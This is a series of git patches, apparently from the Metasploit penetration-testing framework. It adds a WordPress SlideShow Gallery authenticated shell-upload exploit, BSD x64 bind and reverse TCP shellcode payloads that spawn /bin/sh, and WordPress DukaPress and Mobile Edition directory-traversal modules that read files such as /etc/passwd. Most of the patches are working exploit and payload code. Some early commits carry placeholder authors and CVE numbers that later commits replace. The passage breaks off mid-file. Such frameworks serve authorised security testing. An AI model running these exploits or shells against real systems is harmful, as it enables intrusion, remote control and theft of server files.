++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 92bd1e19a2..f085a25fbe 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -144,8 +144,10 @@ module Msf if arch.blank? @arch = mod.arch.first cli_print "No Arch selected, selecting Arch: #{arch} from the payload" + datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic) return mod.arch.first elsif mod.arch.include? arch + datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic) return arch else return nil @@ -157,7 +159,10 @@ module Msf # @param mod [Msf::Payload] The module class to choose a platform for # @return [Msf::Module::PlatformList] The selected platform list def choose_platform(mod) + # By default, platform_list will at least return Msf::Module::Platform + # if there is absolutely no pre-configured platform info at all chosen_platform = platform_list + if chosen_platform.platforms.empty? chosen_platform = mod.platform cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload" @@ -165,6 +170,17 @@ module Msf elsif (chosen_platform & mod.platform).empty? chosen_platform = Msf::Module::PlatformList.new end + + begin + platform_object = Msf::Module::Platform.find_platform(platform) + rescue ArgumentError + platform_object = nil + end + + if mod.kind_of?(Msf::Payload::Generic) && mod.send(:module_info)['Platform'].empty? && platform_object + datastore['PLATFORM'] = platform + end + chosen_platform end From 58c4042321faefa51f38479a5e1caec0d5f86e85 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Mon, 13 Apr 2015 03:56:59 -0300 Subject: [PATCH 20/92] Add Module WP Slideshow Gallery Shell Upload --- .../unix/webapp/wp_slideshowgallery_upload.rb | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb new file mode 100644 index 0000000000..9596564b21 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', + 'Description' => %q{ + The Wordpress SlideShow Gallery plugin contains an auhtenticated file upload + vulnerability. We can upload arbitrary files to the upload folder, because + the plugin also uses it's own file upload mechanism instead of the wordpress + api it's possible to upload any file type. The user provided does not need + special rights, and users with "Contributor" role can be abused. + }, + 'Author' => + [ + 'TO DO', # Vulnerability discovery + 'Roberto Soares Espreto' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-2222'], + ['URL', 'http://domain.html'], + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['WP SlideShow Gallery 1.4.6', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 28 2014')) + + register_options( + [ + OptString.new('USER', [true, 'A valid username', nil]), + OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + check_plugin_version_from_readme('Slideshow Gallery', '1.4.6') + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to upload payload") + filename = "#{rand_text_alpha_lower(8)}.php" + + data = Rex::MIME::Message.new + data.add_part("", nil, nil, 'form-data; name="Slide[id]"') + data.add_part("", nil, nil, 'form-data; name="Slide[link]"') + data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"') + data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"') + data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"') + data.add_part('file', nil, nil, 'form-data; name="Slide[type]"') + data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"') + data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"') + data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"') + data.add_part("", nil, nil, 'form-data; name="Slide[order]"') + data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"') + data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"") + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { + 'page' => 'slideshow-slides', + 'method' => 'save' + }, + 'data' => post_data, + 'cookie' => cookie + }) + + if res && res.code == 200 + register_files_for_cleanup(filename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end + + print_status("#{peer} - Calling uploaded file #{filename}") + send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename) + }, 2) + end +end From abee3f17c4e413c6ae3664f0ea9a661ceb84872f Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Mon, 13 Apr 2015 04:08:34 -0300 Subject: [PATCH 21/92] Add author, CVE and EDB references --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 9596564b21..d2507852c0 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -24,14 +24,14 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'TO DO', # Vulnerability discovery + 'Jesus Ramirez Pichardo', # Vulnerability discovery 'Roberto Soares Espreto' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - ['CVE', '2014-2222'], - ['URL', 'http://domain.html'], + ['CVE', '2014-5460'], + ['EDB', '34681'], ], 'Privileged' => false, 'Platform' => ['php'], From 7b57496501f13d23d05381f4cd28f1cf62110566 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Mon, 13 Apr 2015 04:12:32 -0300 Subject: [PATCH 22/92] Fix typo and add email addr. --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index d2507852c0..47a76f9011 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote info, 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', 'Description' => %q{ - The Wordpress SlideShow Gallery plugin contains an auhtenticated file upload + The Wordpress SlideShow Gallery plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type. The user provided does not need @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Jesus Ramirez Pichardo', # Vulnerability discovery - 'Roberto Soares Espreto' # Metasploit module + 'Roberto Soares Espreto ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => From 926db59a8c7873fd3a94ee58a6f8fc70edf648fa Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 15 Apr 2015 15:48:21 +0100 Subject: [PATCH 23/92] credential doesn't exist in this context --- lib/metasploit/framework/login_scanner/http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index fda5c5d0c7..c621fcf345 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -224,7 +224,7 @@ module Metasploit configure_http_client(cli) if realm - cli.set_config('domain' => credential.realm) + cli.set_config('domain' => realm) end begin From a01d98d1f5f99b3c4b31e7b7628bb272d39fe2eb Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 15 Apr 2015 14:33:27 -0500 Subject: [PATCH 24/92] Implement shell_bind and shell_reverse payloads for bsd x64. --- .../singles/bsd/x64/shell_bind_tcp.rb | 100 ++++++++++++++++++ .../singles/bsd/x64/shell_reverse_tcp.rb | 100 ++++++++++++++++++ 2 files changed, 200 insertions(+) create mode 100644 modules/payloads/singles/bsd/x64/shell_bind_tcp.rb create mode 100644 modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb new file mode 100644 index 0000000000..ca682e1e08 --- /dev/null +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' + +module Metasploit3 + + CachedSize = 136 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Shell Bind TCP', + 'Description' => 'Bind an arbitrary command to an arbitrary port', + 'Author' => [ + 'nemo ', + 'joev' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix + )) + + # exec payload options + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), + Opt::LPORT(4444) + ], self.class) + end + + # build the shellcode payload dynamically based on the user-provided CMD + def generate + cmd = (datastore['CMD'] || '') << "\x00" + port = [datastore['LPORT'].to_i].pack('n') + call = "\xe8" + [cmd.length].pack('V') + payload = + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x61" + # add eax,0x61 + "\x6A\x02" + # push byte 0x1 + "\x5f" + # pop rdi + "\x6A\x01" + # push byte 0x1 + "\x5e" + # pop rsi + "\x48\x31\xD2" + # xor rdx,rdx + "\x0F\x05" + # loadall286 + "\x48\x89\xC7" + # mov rdi,rax + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x68" + # add eax,0x68 + "\x48\x31\xF6" + # xor rsi,rsi + "\x56" + # push rsi + "\xBE\x00\x02" + port + # mov esi,0xb3150200 + "\x56" + # push rsi + "\x48\x89\xE6" + # mov rsi,rsp + "\x6A\x10" + # push 0x10 + "\x5A" + # pop rdx + "\x0F\x05" + # loadall286 + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x6A" + # add eax,0x6a + "\x48\x31\xF6" + # xor rsi,rsi + "\x48\xFF\xC6" + # inc rsi + "\x49\x89\xFC" + # mov r12,rdi + "\x0F\x05" + # loadall286 + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x1E" + # add eax,0x1e + "\x4C\x89\xE7" + # mov rdi,r12 + "\x48\x89\xE6" + # mov rsi,rsp + "\x48\x89\xE2" + # mov rdx,rsp + "\x48\x83\xEA\x04" + # sub rdx,byte +0x4 + "\x0F\x05" + # loadall286 + "\x48\x89\xC7" + # mov rdi,rax + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x5A" + # add eax,0x5a + "\x48\x31\xF6" + # xor rsi,rsi + "\x0F\x05" + # loadall286 + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x5A" + # add eax,0x5a + "\x48\xFF\xC6" + # inc rsi + "\x0F\x05" + # loadall286 + "\x48\x31\xC0" + # xor rax,rax + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x3b" + # add eax,0x3b + call + # call CMD.len + cmd + # CMD + "\x48\x8b\x3c\x24" + # mov rdi, [rsp] + "\x48\x31\xD2" + # xor rdx,rdx + "\x52" + # push rdx + "\x57" + # push rdi + "\x48\x89\xE6" + # mov rsi,rsp + "\x0F\x05" # loadall286 + end +end diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb new file mode 100644 index 0000000000..0c87216d8b --- /dev/null +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + +module Metasploit3 + + CachedSize = 108 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Shell Reverse TCP', + 'Description' => 'Connect back to attacker and spawn a command shell', + 'Author' => [ + 'nemo ', + 'joev' # copy pasta monkey + ], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShellUnix + )) + + # exec payload options + + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), + Opt::LHOST, + Opt::LPORT(4444) + ], self.class) + end + + # build the shellcode payload dynamically based on the user-provided CMD + def generate + lhost = datastore['LHOST'] || '127.0.0.1' + + # OptAddress allows either an IP or hostname, we only want IPv4 + if not Rex::Socket.is_ipv4?(lhost) + raise ArgumentError, "LHOST must be in IPv4 format." + end + + cmd = (datastore['CMD'] || '') << "\x00" + port = [datastore['LPORT'].to_i].pack('n') + ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N") + + call = "\xe8" + [cmd.length].pack('V') + payload = + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x61" + # add eax,0x61 + "\x6A\x02" + # push byte +0x2 + "\x5F" + # pop rdi + "\x6A\x01" + # push byte +0x1 + "\x5E" + # pop rsi + "\x48\x31\xD2" + # xor rdx,rdx + "\x0F\x05" + # loadall286 + "\x49\x89\xC4" + # mov r12,rax + "\x48\x89\xC7" + # mov rdi,rax + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x62" + # add eax,0x62 + "\x48\x31\xF6" + # xor rsi,rsi + "\x56" + # push rsi + "\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200 + ipaddr + + "\x56" + # push rsi + "\x48\x89\xE6" + # mov rsi,rsp + "\x6A\x10" + # push byte +0x10 + "\x5A" + # pop rdx + "\x0F\x05" + # loadall286 + "\x4C\x89\xE7" + # mov rdi,r12 + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x5A" + # add eax,0x5a + "\x48\x31\xF6" + # xor rsi,rsi + "\x0F\x05" + # loadall286 + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x5A" + # add eax,0x5a + "\x48\xFF\xC6" + # inc rsi + "\x0F\x05" + # loadall286 + "\x48\x31\xC0" + # xor rax,rax + "\x31\xc0" + # xor eax,eax + "\x83\xc0\x3B" + # add eax,0x3b + call + # call CMD.len + cmd + # CMD + "\x48\x8B\x3C\x24" + # mov rdi,[rsp] + "\x48\x31\xD2" + # xor rdx,rdx + "\x52" + # push rdx + "\x57" + # push rdi + "\x48\x89\xE6" + # mov rsi,rsp + "\x0F\x05" # loadall286 + end +end From 0f1cf1d1b1e7c5b1bad77ed5c85dbda4b060f178 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Wed, 15 Apr 2015 19:45:08 -0300 Subject: [PATCH 25/92] Add Module WP Mobile Edition Plugin File Read Vuln --- .../http/wp_mobileedition_file_read.rb | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb new file mode 100644 index 0000000000..e8d660b530 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Mobile Edition File Read Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in WordPress Plugin + "WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the + web server privileges. Stay tuned to the correct value in TARGETURI. + }, + 'References' => + [ + ['EDB', '77777'] + ], + 'Author' => + [ + 'TO DO', # Vulnerability discovery + 'Roberto Soares Espreto ' # Metasploit module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, "The URI path to the web application", "/wordpress/"]), + OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) + ], self.class) + end + + def run_host(ip) + traversal = "../" * datastore['DEPTH'] + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', + 'css', 'css.php'), + 'vars_get' => + { + 'files' => "#{traversal}#{filename}" + } + }) + + if res && + res.code == 200 && + res.body.length > 0 + + print_status('Downloading file...') + print_line("\n#{res.body}\n") + + fname = datastore['FILEPATH'] + + path = store_loot( + 'rips.traversal', + 'text/plain', + ip, + res.body, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded") + end + end +end From 0031f09d6051bcbb1dde8d79ab0f28f037ff7bd7 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Wed, 15 Apr 2015 20:03:36 -0300 Subject: [PATCH 26/92] Add author, EDB, WPVDB and fix loot. --- .../scanner/http/wp_mobileedition_file_read.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index e8d660b530..538768a2a6 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -21,11 +21,12 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - ['EDB', '77777'] + ['EDB', '36733'], + ['WPVDB', '7898'] ], 'Author' => [ - 'TO DO', # Vulnerability discovery + 'Khwanchai Kaewyos', # Vulnerability discovery 'Roberto Soares Espreto ' # Metasploit module ], 'License' => MSF_LICENSE @@ -47,8 +48,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', - 'css', 'css.php'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', 'css', 'css.php'), 'vars_get' => { 'files' => "#{traversal}#{filename}" @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary fname = datastore['FILEPATH'] path = store_loot( - 'rips.traversal', + 'mobileedition.traversal', 'text/plain', ip, res.body, From c8e1185a044a5777990d7a959b1031ecb3472267 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 05:02:39 -0300 Subject: [PATCH 27/92] Included Wordpress mixin. --- modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index 538768a2a6..014dfb2867 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -9,6 +9,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) @@ -34,8 +35,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(80), - OptString.new('TARGETURI', [ true, "The URI path to the web application", "/wordpress/"]), OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) ], self.class) @@ -48,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', 'css', 'css.php'), + 'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'), 'vars_get' => { 'files' => "#{traversal}#{filename}" From 64923ffdc2c0c106facc7b3c6c738a61ccb50735 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 05:06:36 -0300 Subject: [PATCH 28/92] Fixed plugin name in check method --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 47a76f9011..8e7e570ef5 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - check_plugin_version_from_readme('Slideshow Gallery', '1.4.6') + check_plugin_version_from_readme('slideshow-gallery', '1.4.6') end def exploit From 13ded8abe761a2d73da7c9bec54d8c1d0be00472 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 05:08:45 -0300 Subject: [PATCH 29/92] Added WPVDB. --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 8e7e570ef5..41b0431e22 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2014-5460'], ['EDB', '34681'], + ['WPVDB', '7532'] ], 'Privileged' => false, 'Platform' => ['php'], From 0e1b173d15198ef79e361b015978801200596d5c Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 05:11:56 -0300 Subject: [PATCH 30/92] Renamed USER/PASSWORD to WP_USER/WP_PASSWORD. --- .../exploits/unix/webapp/wp_slideshowgallery_upload.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 41b0431e22..809e2e12b9 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -43,17 +43,17 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USER', [true, 'A valid username', nil]), - OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) + OptString.new('WP_USER', [true, 'A valid username', nil]), + OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) ], self.class) end def user - datastore['USER'] + datastore['WP_USER'] end def password - datastore['PASSWORD'] + datastore['WP_PASSWORD'] end def check From 5cb9b1a44cc15c5a49dc51f5bcc9884eabde3d9c Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 05:21:59 -0300 Subject: [PATCH 31/92] Removed timeout 2. --- .../unix/webapp/wp_slideshowgallery_upload.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 809e2e12b9..eadb60b1b6 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -99,15 +99,19 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => cookie }) - if res && res.code == 200 - register_files_for_cleanup(filename) + if res + if res.code == 200 + register_files_for_cleanup(filename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end else - fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + fail_with('ERROR') end print_status("#{peer} - Calling uploaded file #{filename}") - send_request_cgi({ + send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename) - }, 2) + ) end end From f6f4bd0746de58c2769afddc33746391b0f0cd0f Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 07:17:46 -0300 Subject: [PATCH 32/92] Add WordPress Dukapress File Read Vulnerability --- .../scanner/http/wp_dukapress_file_read.rb | 81 +++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_dukapress_file_read.rb diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb new file mode 100644 index 0000000000..0911ed19af --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress DukaPress Plugin File Read Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in WordPress Plugin + "DukaPress" version 2.5.2, allowing to read arbitrary files with the + web server privileges. + }, + 'References' => + [ + ['EDB', '00000'], + ['CVE', '2000-0001'], + ['WPVDB', '0000'], + ['OSVDB', '000000'] + ], + 'Author' => + [ + 'TO DO', # Vulnerability discovery + 'Roberto Soares Espreto ' # Metasploit module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) + ], self.class) + end + + def run_host(ip) + traversal = "../" * datastore['DEPTH'] + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'), + 'vars_get' => + { + 'src' => "#{traversal}#{filename}" + } + }) + + if res && + res.code == 200 && + res.body.length > 0 + + print_status('Downloading file...') + print_line("\n#{res.body}") + + fname = datastore['FILEPATH'] + + path = store_loot( + 'mobileedition.traversal', + 'text/plain', + ip, + res.body, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded") + end + end +end From 21e964e69982f296656a9ee7c2b44b39d65c7c18 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 07:20:48 -0300 Subject: [PATCH 33/92] Add Author and references.. --- .../auxiliary/scanner/http/wp_dukapress_file_read.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 0911ed19af..27436dee6b 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -22,14 +22,14 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - ['EDB', '00000'], - ['CVE', '2000-0001'], - ['WPVDB', '0000'], - ['OSVDB', '000000'] + ['EDB', '35346'], + ['CVE', '2014-8799'], + ['WPVDB', '7731'], + ['OSVDB', '115130'] ], 'Author' => [ - 'TO DO', # Vulnerability discovery + 'Kacper Szurek', # Vulnerability discovery 'Roberto Soares Espreto ' # Metasploit module ], 'License' => MSF_LICENSE From 1112a3b0ae5b767227cef0618acb99a78d34228b Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 08:40:51 -0300 Subject: [PATCH 34/92] Add WordPress Reflex Gallery Plugin File Upload --- .../webapp/wp_reflexgallery_file_upload.rb | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb new file mode 100644 index 0000000000..d27f0ebe54 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = 